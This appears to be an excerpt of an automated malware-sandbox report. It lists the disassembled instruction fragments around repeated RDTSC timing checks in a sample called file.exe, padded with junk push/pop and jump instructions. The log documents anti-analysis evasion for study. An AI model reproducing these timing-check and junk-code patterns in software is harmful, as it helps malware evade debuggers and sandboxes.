Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C98E second address: 99C999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C999 second address: 99C9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 ja 00007F3F40513666h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C9AC second address: 99C9D9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3F40811B56h 0x00000008 jmp 00007F3F40811B5Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 je 00007F3F40811B56h 0x00000016 pushad 0x00000017 popad 0x00000018 je 00007F3F40811B56h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C9D9 second address: 99C9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3F40513666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CDE1 second address: 99CDFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CDFC second address: 99CE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CE00 second address: 99CE04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A677D second address: 9A67B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40513671h 0x00000009 je 00007F3F40513666h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F3F40513670h 0x00000016 jmp 00007F3F4051366Dh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6914 second address: 9A6918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6918 second address: 9A6937 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F3F40513679h 0x00000010 jmp 00007F3F4051366Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6AD8 second address: 9A6AF3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F40811B65h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6AF3 second address: 9A6AFD instructions: 0x00000000 rdtsc 0x00000002 js 00007F3F4051366Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6AFD second address: 9A6B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6B07 second address: 9A6B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6B0D second address: 9A6B11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6C58 second address: 9A6C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7065 second address: 9A7069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7069 second address: 9A7073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7073 second address: 9A7077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A72E8 second address: 9A72EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A72EE second address: 9A72F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A72F2 second address: 9A730B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F3F40513666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F3F4051366Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A763E second address: 9A765F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F40811B64h 0x0000000c jbe 00007F3F40811B56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A765F second address: 9A7663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7663 second address: 9A7677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3F40811B56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F3F40811B56h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7C0E second address: 9A7C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F3F40513668h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A644B second address: 9A6451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6451 second address: 9A6495 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jl 00007F3F4051366Ch 0x00000011 ja 00007F3F40513666h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3F40513675h 0x0000001e jmp 00007F3F40513676h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ADA35 second address: 9ADA3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ADA3B second address: 9ADA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ADA47 second address: 9ADA75 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3F40811B5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3F40811B68h 0x0000000f jno 00007F3F40811B56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D0D3 second address: 92D0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D0DA second address: 92D0F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F40811B65h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D0F6 second address: 92D109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3F40513666h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F3F40513666h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC8E0 second address: 9AC8E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC8E4 second address: 9AC8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC8EA second address: 9AC8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC8F8 second address: 9AC900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC900 second address: 9AC906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC906 second address: 9AC90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC90C second address: 9AC919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F3F40811B56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ACA71 second address: 9ACA77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ACA77 second address: 9ACA7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD027 second address: 9AD033 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F4051366Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC638 second address: 9AC63E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC63E second address: 9AC644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD76F second address: 9AD785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F3F40811B56h 0x00000009 jnp 00007F3F40811B56h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B080E second address: 9B0812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0812 second address: 9B0830 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F40811B62h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0830 second address: 9B0834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0834 second address: 9B083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B083A second address: 9B087A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F40513674h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F3F40513672h 0x00000012 jg 00007F3F4051366Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B39E5 second address: 9B39EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3F40811B56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B39EF second address: 9B39FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F4051366Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B39FD second address: 9B3A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F3F40811B65h 0x00000011 jo 00007F3F40811B56h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B32B1 second address: 9B32B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B32B5 second address: 9B32B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B32B9 second address: 9B32D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3F40513673h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B32D8 second address: 9B32DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B32DC second address: 9B32E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B344B second address: 9B3487 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F40811B56h 0x00000008 jmp 00007F3F40811B60h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 jmp 00007F3F40811B69h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3612 second address: 9B3616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3616 second address: 9B361A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B361A second address: 9B3620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5B04 second address: 9B5B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5B09 second address: 9B5B2B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3F4051366Eh 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F3F40513666h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5B2B second address: 9B5B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5B2F second address: 9B5B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5B35 second address: 9B5B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5B3B second address: 9B5B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D0B8 second address: 92D0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F40811B61h 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9908 second address: 9B9924 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3F4051366Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F3F4051366Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9BD8 second address: 9B9C01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3F40811B62h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C01 second address: 9B9C29 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3F40513666h 0x00000008 jno 00007F3F40513666h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jc 00007F3F40513668h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3F4051366Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C29 second address: 9B9C3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B60h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C3D second address: 9B9C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F3F4051367Eh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE076 second address: 9BE07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD74B second address: 9BD751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD751 second address: 9BD755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD8B2 second address: 9BD8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007F3F4051366Eh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d js 00007F3F40513666h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3F40513675h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD8DC second address: 9BD904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B61h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jp 00007F3F40811B5Ch 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDA72 second address: 9BDA90 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3F40513679h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDA90 second address: 9BDAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jp 00007F3F40811B7Ah 0x0000000d jmp 00007F3F40811B60h 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007F3F40811B56h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4901 second address: 9C4906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4906 second address: 9C4916 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BB3 second address: 9C4BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BB7 second address: 9C4BEA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jp 00007F3F40811B56h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F3F40811B68h 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BEA second address: 9C4BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BF5 second address: 9C4BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4D74 second address: 9C4D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnl 00007F3F40513666h 0x0000000b jmp 00007F3F40513674h 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4ED0 second address: 9C4F12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B65h 0x00000007 jmp 00007F3F40811B61h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 jnl 00007F3F40811B56h 0x00000017 jnl 00007F3F40811B56h 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jnc 00007F3F40811B56h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4F12 second address: 9C4F1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E64 second address: 969F11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F3F40811B60h 0x00000010 mov ebx, dword ptr [ebp+1247AD75h] 0x00000016 cmc 0x00000017 add eax, ebx 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F3F40811B58h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov edx, dword ptr [ebp+122D30D0h] 0x00000039 cmc 0x0000003a nop 0x0000003b jmp 00007F3F40811B67h 0x00000040 push eax 0x00000041 jmp 00007F3F40811B64h 0x00000046 nop 0x00000047 jnl 00007F3F40811B5Dh 0x0000004d mov dword ptr [ebp+122D2B5Dh], edi 0x00000053 push 00000004h 0x00000055 jnl 00007F3F40811B61h 0x0000005b mov dx, 580Fh 0x0000005f push eax 0x00000060 pushad 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969F11 second address: 969F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE6EA second address: 9CE6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
